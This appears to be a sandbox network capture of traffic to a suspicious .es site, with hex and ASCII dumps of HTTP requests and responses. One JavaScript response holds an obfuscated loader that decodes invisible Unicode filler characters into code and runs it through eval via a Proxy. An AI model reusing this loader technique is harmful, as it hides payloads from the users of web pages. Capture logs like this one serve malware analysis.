2025-03-26 21:11:19 UTC	1369	IN	Data Raw: ad 46 7d 88 c2 aa 02 0a 87 0c 64 f0 d2 7f f9 b8 52 ec 49 ef c7 c8 c3 55 e1 e2 f0 84 40 41 40 b6 af ca eb a4 97 dc c3 e0 d6 e6 96 5d 84 c8 bd 51 7b da f6 50 1e bc bd c3 7a 7a e4 5e d3 7d 23 29 db aa 71 f1 db 56 6f 5d f0 b7 70 cb d1 68 01 cf d7 3c d7 47 61 79 5c 27 a1 a7 7b 4b 40 b8 be 47 46 8f d4 93 59 87 ec 0e f0 5d 9b ac 6c f2 eb fa d4 3c d6 d4 a5 ee 5a 09 a0 d8 d4 06 0f fd 8b 7e ad 49 60 dd df af 12 ad 1c 53 69 a6 ff b8 4b 8c fc f7 31 74 ed 67 cb 9c 3a 7f 4c 63 68 fe 21 c1 65 ec 8f 59 dc fa 1f fb e4 79 0a f2 6a 85 7c c8 0d 95 05 17 61 45 50 0c 27 48 8a 66 58 8e 17 c4 f8 73 b4 d8 c4 b2 9d 6e fd 1e 20 21 6c 2b 02 8a e1 04 49 d1 0c cb f1 82 58 ea 4a 19 45 ad 75 a8 8e 61 5a ed ce 75 70 bd 87 cd 21 62 af 76 84 9f 23 51 57 de 1e a5 db 58 86 72 f4 e5 de eb 31 Data Ascii: F}dRIU@A@]Q{Pzz^}#)qVo]ph<Gay\'{K@GFY]l<Z~I`SiK1tg:Lch!eYyj\|aEP'HfXsn !l+IXJEuaZup!bv#QWXr1
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 7e 8b cd 6d 37 f8 d0 a7 21 d2 48 8d b7 93 b8 a5 b7 0a cf 99 56 74 50 56 a9 ba 0b 6a a8 ad ea 36 e9 4e 2f 3b ff c3 13 40 b6 a3 83 05 3a 07 23 42 02 23 28 86 13 24 45 33 2c c7 0b a2 24 9f af 8e 70 f3 a7 99 8f 22 98 f7 02 af 2f 46 50 0c 27 48 01 45 33 2c 27 7c ce 90 84 47 cd 09 4f e1 95 a2 52 d7 14 6a d1 d5 63 b0 b3 77 e8 84 b3 4b 04 50 7d a2 c1 60 71 78 02 91 44 a6 50 69 f4 65 f0 36 9a e2 e6 be 20 06 29 8c b0 96 cd f3 38 70 97 27 88 f1 11 08 45 62 89 54 26 57 28 55 6a cd 6a 05 3a 1d 7a c3 e5 98 da df 33 99 2d d6 b6 b6 76 1c 4e d7 e7 f7 a6 b7 db 9e 6f 0e ae de 97 ad d1 81 af b9 39 78 24 00 e8 22 c7 ef 92 72 02 b9 ec 11 7c 29 89 de c4 85 7f 6f b3 a9 2f 79 d1 0f 6e 5e 15 32 9d 87 87 5c 2b 14 94 60 2a 6a 9a cf d0 9a 90 f5 68 c8 f5 5f 0e 09 57 64 88 f8 f7 4c 10 Data Ascii: ~m7!HVtPVj6N/;@:#B#($E3,$p"/FP'HE3,'\|GORjcwKP}`qxDPie6 )8p'EbT&W(Ujj:z3-vNo9x$"r\|)o/yn^2\+`*jh_WdL

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:11:19 UTC	1373	OUT	GET /34PRKAyS0bAW7iTwXghMi85IKNLzXZ67102 HTTP/1.1 Host: nvgy.zonqdkqezktw.es Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImNVTG5Tbkp0NWFSQWsvc3VEcTVMbXc9PSIsInZhbHVlIjoiMytVQ0pUckV4dGpqK0h0YTMwQzNDQzF0SjRabnQvOFhSYktQc0FKRFhLbFdtT01sRW4zanNMNUx6a2YxOE1XdDBqV0xvd2VaRElvbUV1aE1nVmg5aFJKTWdteWdtc3NNb2EzK2IwQVczb2x4eXZXbEsvc1FERW5PVEdnZzBieHoiLCJtYWMiOiIxMTE3Mzc5YjhmMGVhNjZkMDVkMzdjMjMwMWY0MDU2MDA2NDQ4ODhhNDg1ZmYzZGRhMDliNzBiMWVmMWNhZmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imc0VW4zLy9pa0QrSHNzQUVEWlJvaHc9PSIsInZhbHVlIjoiQmRlZUdxbUFWbUhkeEY2U3YvVDdVZkV0ZERMMCtHR3d2QnVOdEVPNTdZekZIRlY3b08wU0xsZFFodVlVdFZoTFozZWM0clFJK0dqK2pUMEV3QmJqcktFNGwvdlhKeEd0aG5IbGgzUnZWN2hjNlhQM0tKTkYvekExV2llVllobGwiLCJtYWMiOiI1MmU4MzI4YmNjZTY5ODY3YTY2N2E1MGFiZjVmOTBlMmZmMThkNmQ5NGNiNDhhZGYxNmY3OWUyMzRhNmI2NTc0IiwidGFnIjoiIn0%3D
2025-03-26 21:11:19 UTC	1106	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 21:11:19 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="34PRKAyS0bAW7iTwXghMi85IKNLzXZ67102" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HKtu1JN%2BY4a86wScHYHuP8mGlwP6fYAI8SHz8x5uodEI1%2FVjvADNaxjcHuZcjFYxYj1UVlRdMQt5%2B3Ul5ynrQUYiRonvLQP%2FBiaENfga3jfxsAJ7GxkKhX2ZcnhdCFABf%2FJY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=19115&min_rtt=19101&rtt_var=5386&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2291&delivery_rate=211230&cwnd=252&unsent_bytes=0&cid=e2415eef0cc06fc6&ts=177&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 9269a3cbcda718b4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=88779&min_rtt=88750&rtt_var=18768&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2838&recv_bytes=1945&delivery_rate=34396&cwnd=252&unsent_bytes=0&cid=d020b611e58a2537&ts=434&x=0"
2025-03-26 21:11:19 UTC	263	IN	Data Raw: 33 37 61 35 0d 0a 66 75 6e 63 74 69 6f 6e 20 64 65 63 6f 64 65 41 6e 64 45 76 61 6c 75 61 74 65 28 6b 65 79 29 20 7b 0d 0a 20 20 63 6f 6e 73 74 20 62 69 6e 61 72 79 53 74 72 69 6e 67 20 3d 20 5b 2e 2e 2e 6b 65 79 5d 0d 0a 20 20 20 20 2e 6d 61 70 28 63 68 61 72 20 3d 3e 20 4e 75 6d 62 65 72 28 27 ef be a0 27 20 3e 20 63 68 61 72 29 29 0d 0a 20 20 20 20 2e 6a 6f 69 6e 28 27 27 29 0d 0a 20 20 20 20 2e 72 65 70 6c 61 63 65 28 2f 2e 7b 38 7d 2f 67 2c 20 62 79 74 65 20 3d 3e 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 70 61 72 73 65 49 6e 74 28 62 79 74 65 2c 20 32 29 29 29 3b 0d 0a 20 20 0d 0a 20 20 28 30 2c 20 65 76 61 6c 29 28 62 69 6e 61 72 79 53 74 72 69 6e 67 29 3b 0d 0a 20 20 72 65 74 75 72 6e 20 74 72 75 65 3b 0d 0a 7d 0d 0a 0d 0a 63 Data Ascii: 37a5function decodeAndEvaluate(key) { const binaryString = [...key] .map(char => Number('' > char)) .join('') .replace(/.{8}/g, byte => String.fromCharCode(parseInt(byte, 2))); (0, eval)(binaryString); return true;}c
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 64 6c 65 72 20 3d 20 7b 0d 0a 20 20 67 65 74 3a 20 66 75 6e 63 74 69 6f 6e 28 5f 2c 20 70 72 6f 70 29 20 7b 0d 0a 20 20 20 20 64 65 63 6f 64 65 41 6e 64 45 76 61 6c 75 61 74 65 28 70 72 6f 70 29 3b 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 74 72 75 65 3b 0d 0a 20 20 7d 0d 0a 7d 3b 0d 0a 63 6f 6e 73 74 20 76 69 65 77 73 65 6e 20 3d 20 6e 65 77 20 50 72 6f 78 79 28 7b 7d 2c 20 68 61 6e 64 6c 65 72 29 3b 0d 0a 76 69 65 77 73 65 6e 5b 22 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 Data Ascii: dler = { get: function(_, prop) { decodeAndEvaluate(prop); return true; }};const viewsen = new Proxy({}, handler);viewsen["
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 Data Ascii:
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 Data Ascii:
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be Data Ascii:
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 Data Ascii:
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef Data Ascii:
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be Data Ascii:
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 Data Ascii:
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef Data Ascii:

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:11:19 UTC	1443	OUT	GET /wxFhtRtVhC7KMNNheLOCQWTqrKKKlUh9cVWK5ArQ12127 HTTP/1.1 Host: nvgy.zonqdkqezktw.es Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImNVTG5Tbkp0NWFSQWsvc3VEcTVMbXc9PSIsInZhbHVlIjoiMytVQ0pUckV4dGpqK0h0YTMwQzNDQzF0SjRabnQvOFhSYktQc0FKRFhLbFdtT01sRW4zanNMNUx6a2YxOE1XdDBqV0xvd2VaRElvbUV1aE1nVmg5aFJKTWdteWdtc3NNb2EzK2IwQVczb2x4eXZXbEsvc1FERW5PVEdnZzBieHoiLCJtYWMiOiIxMTE3Mzc5YjhmMGVhNjZkMDVkMzdjMjMwMWY0MDU2MDA2NDQ4ODhhNDg1ZmYzZGRhMDliNzBiMWVmMWNhZmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imc0VW4zLy9pa0QrSHNzQUVEWlJvaHc9PSIsInZhbHVlIjoiQmRlZUdxbUFWbUhkeEY2U3YvVDdVZkV0ZERMMCtHR3d2QnVOdEVPNTdZekZIRlY3b08wU0xsZFFodVlVdFZoTFozZWM0clFJK0dqK2pUMEV3QmJqcktFNGwvdlhKeEd0aG5IbGgzUnZWN2hjNlhQM0tKTkYvekExV2llVllobGwiLCJtYWMiOiI1MmU4MzI4YmNjZTY5ODY3YTY2N2E1MGFiZjVmOTBlMmZmMThkNmQ5NGNiNDhhZGYxNmY3OWUyMzRhNmI2NTc0IiwidGFnIjoiIn0%3D
2025-03-26 21:11:20 UTC	1071	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 21:11:20 GMT Content-Type: image/webp Content-Length: 644 Connection: close Content-Disposition: inline; filename="wxFhtRtVhC7KMNNheLOCQWTqrKKKlUh9cVWK5ArQ12127" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J0n4VyUiCYyX5xePJATwjIkRJKaGotIkv5Zogyon651q9kXObJCuFirpR6Bn7uZD%2BSU%2FKb%2B%2FY125tqEfVJG2SFNN7%2FO8BOZqs1VkwFJ0mr0j3Ww62iIraZLm7endBmaiFCoB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=381&min_rtt=356&rtt_var=114&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2362&delivery_rate=10670184&cwnd=252&unsent_bytes=0&cid=cc299b4415de04ef&ts=167&x=0" Server: cloudflare CF-RAY: 9269a3cec96042d0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=88554&min_rtt=88530&rtt_var=18715&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2837&recv_bytes=2015&delivery_rate=34490&cwnd=252&unsent_bytes=0&cid=cd774045db80d6be&ts=403&x=0"
2025-03-26 21:11:20 UTC	298	IN	Data Raw: 52 49 46 46 7c 02 00 00 57 45 42 50 56 50 38 58 0a 00 00 00 30 00 00 00 17 00 00 17 00 00 49 43 43 50 c8 01 00 00 00 00 01 c8 00 00 00 00 04 30 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 e0 00 01 00 01 00 00 00 00 00 00 61 63 73 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 f6 d6 00 01 00 00 00 00 d3 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 64 65 73 63 00 00 00 f0 00 00 00 24 72 58 59 5a 00 00 01 14 00 00 00 14 67 58 59 5a 00 00 01 28 00 00 00 14 62 58 59 5a 00 00 01 3c 00 00 00 14 77 74 70 74 00 00 01 50 00 00 00 14 72 54 52 43 00 00 01 64 00 00 00 28 67 54 52 43 00 00 01 64 00 00 00 28 62 Data Ascii: RIFF\|WEBPVP8X0ICCP0mntrRGB XYZ acsp-desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(b
2025-03-26 21:11:20 UTC	346	IN	Data Raw: 00 00 00 08 00 00 00 1c 00 73 00 52 00 47 00 42 58 59 5a 20 00 00 00 00 00 00 6f a2 00 00 38 f5 00 00 03 90 58 59 5a 20 00 00 00 00 00 00 62 99 00 00 b7 85 00 00 18 da 58 59 5a 20 00 00 00 00 00 00 24 a0 00 00 0f 84 00 00 b6 cf 58 59 5a 20 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 70 61 72 61 00 00 00 00 00 04 00 00 00 02 66 66 00 00 f2 a7 00 00 0d 59 00 00 13 d0 00 00 0a 5b 00 00 00 00 00 00 00 00 6d 6c 75 63 00 00 00 00 00 00 00 01 00 00 00 0c 65 6e 55 53 00 00 00 20 00 00 00 1c 00 47 00 6f 00 6f 00 67 00 6c 00 65 00 20 00 49 00 6e 00 63 00 2e 00 20 00 32 00 30 00 31 00 36 41 4c 50 48 4b 00 00 00 01 57 60 24 92 d4 f4 9f 7a f9 80 22 0d 59 88 88 50 7d 30 3b 07 50 45 b2 92 47 0b 12 68 00 c6 06 8c 39 88 40 0a 8d 60 03 93 32 ef 8b 00 11 fd 9f 00 f4 3d Data Ascii: sRGBXYZ o8XYZ bXYZ $XYZ -paraffY[mlucenUS Google Inc. 2016ALPHKW`$z"YP}0;PEGh9@`2=